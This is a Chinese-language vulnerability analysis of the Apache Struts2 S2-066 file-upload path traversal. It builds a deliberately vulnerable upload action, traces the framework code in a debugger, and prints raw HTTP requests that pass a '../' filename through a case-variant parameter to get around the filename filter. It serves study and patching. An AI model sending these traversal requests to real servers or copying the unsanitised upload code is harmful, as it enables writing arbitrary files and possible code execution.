漏洞描述
攻击者可以操纵文件上传参数来启用路径遍历,在某些情况下,这可能导致上传可用于执行远程代码执行的恶意文件。
解决方案:升级到 Struts 2.5.33、6.3.0.2 或更高版本。
环境搭建
以6.3.0为例
1 2 3 4 5
| <dependency> <groupId>org.apache.struts</groupId> <artifactId>struts2-core</artifactId> <version>6.3.0</version> </dependency>
|
UploadAction.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| package com.struts2;
import com.opensymphony.xwork2.ActionSupport; import org.apache.commons.io.FileUtils; import org.apache.struts2.ServletActionContext;
import java.io.*;
public class UploadAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private File upload;
private String uploadContentType;
private String uploadFileName;
public File getUpload() { return upload; }
public void setUpload(File upload) { this.upload = upload; }
public String getUploadContentType() { return uploadContentType; }
public void setUploadContentType(String uploadContentType) { this.uploadContentType = uploadContentType; }
public String getUploadFileName() { return uploadFileName; }
public void setUploadFileName(String uploadFileName) { this.uploadFileName = uploadFileName; }
public String doUpload() { String path = ServletActionContext.getServletContext().getRealPath("/")+"upload"; System.out.println(path); String realPath = path + File.separator +uploadFileName; try { FileUtils.copyFile(upload, new File(realPath)); } catch (Exception e) { e.printStackTrace(); } return SUCCESS; }
}
|
structs.xml
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"> <struts> <package name="upload" extends="struts-default"> <action name="upload" class="com.struts2.UploadAction" method="doUpload"> <result name="success" type="">/index.jsp</result> </action> </package> </struts>
|
web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app> <display-name>Archetype Created Web Application</display-name> <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>*.action</url-pattern> </filter-mapping> </web-app>
|
项目结构:
漏洞分析
将2.5.33与2.5.32版本进行diff
关注到第二个commit,让HttpParameters不区分大小写,先尝试执行一次正常的上传文件请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| POST /s2_066_war_exploded/upload.action HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------366355993718908300011858789275 Content-Length: 223 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/s2_066_war_exploded/ Cookie: JSESSIONID=AF1F79D45AD1151557B3E7EF9E09A54F Upgrade-Insecure-Requests: 1 Priority: u=0, i
-----------------------------366355993718908300011858789275 Content-Disposition: form-data; name="Upload"; filename="ycx.txt" Content-Type: text/xml
123> -----------------------------366355993718908300011858789275--
|
成功上传到upload目录
结合漏洞描述与commit,漏洞大概可能是目录穿越与大小写造成的问题,尝试将filename修改为“../ycx1.txt”,发现依旧是上传至upload目录,并未实现目录穿越。
structs2对于文件上传有一个默认的拦截器,存在于struts-defaults.xml
1
| <interceptor name="fileUpload" class="org.apache.struts2.interceptor.FileUploadInterceptor"/>
|
在FileUploadInterceptor#intercept方法处下个断点,进行调试
简单的过了一下,在AbstractMultiPartRequest#getCanonicalName方法发现对上传文件名进行了过滤
1 2 3 4 5 6 7 8 9 10 11 12
| protected String getCanonicalName(String originalFileName) { int forwardSlash = originalFileName.lastIndexOf(47); int backwardSlash = originalFileName.lastIndexOf(92); String fileName; if (forwardSlash != -1 && forwardSlash > backwardSlash) { fileName = originalFileName.substring(forwardSlash + 1); } else { fileName = originalFileName.substring(backwardSlash + 1); }
return fileName; }
|
首先是找到/
或者\
的位置,然后从该符号后面开始截取,对文件穿越进行了拦截
随后将文件的一些信息保存到了acceptedFiles、acceptedContentTypes、acceptedFileNames三个变量中
然后经过param的封装,被传入到HttpParameters
此时这个HttpParameters对象是通过上下文获取的,也就是说如果我们在发出请求时就传入某些参数,那么就有可能覆盖此时append的参数
我们可以尝试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| POST /s2_066_war_exploded/upload.action?UploadFileName=../ycx2.txt HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------366355993718908300011858789275 Content-Length: 227 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/s2_066_war_exploded/ Cookie: JSESSIONID=AF1F79D45AD1151557B3E7EF9E09A54F Upgrade-Insecure-Requests: 1 Priority: u=0, i
-----------------------------366355993718908300011858789275 Content-Disposition: form-data; name="Upload"; filename="ycx2.txt" Content-Type: text/xml
123> -----------------------------366355993718908300011858789275--
|
但是并未覆盖成功
究其原因是ac.getParameters()发生在append之前,也就不存在覆盖了,再结合commit,我们再试一下小写
可以看到此时的HttpParameters已经存在4个参数,但是这里还没有发生覆盖,只能继续向下看看,此时interceptor已经执行完毕,步入我们自己写的UploadAction
这里引用https://freebuf.com/vuls/395314.html的一句话:
1
| UploadAction即是Action又是Entity。而在Entity的实例化过程中,必然是通过setXX属性来赋值。所以就有了setUploadFileName(注意首字母大写)和setuploadFileName(注意首字母小写)的需求 。而在Entity的setter与getter中,这两种需求都会被当做一种,即setUploadFileName,因此覆盖也就发生了。
|
第一次被赋值为ycx2.txt
,第二次是../ycx2.txt
为什么要使用uploadFileName这样固定的字符串呢?在处理setter参数时,会调用到OgnlRuntime#capitalizeBeanPropertyName方法
1 2 3 4 5 6 7 8 9
| char first = propertyName.charAt(0); char second = propertyName.charAt(1); if (Character.isLowerCase(first) && Character.isUpperCase(second)) { return propertyName; } else { char[] chars = propertyName.toCharArray(); chars[0] = Character.toUpperCase(chars[0]); return new String(chars); }
|
如果属性第一个字符小写第二个大写直接返回,否则返回时将第一个字母大写,由于我们写的是setUploadFileName,所以传入的参数名只能是UploadFileName或者uploadFileName
另外再提一点,HttpParameters实际是一个TreeMap,在存储时,大写字母会被排在前面
所以才会出现大写先于小写被调用
参考文章:
https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/
https://www.freebuf.com/vuls/395314.html
https://www.freebuf.com/articles/web/387790.html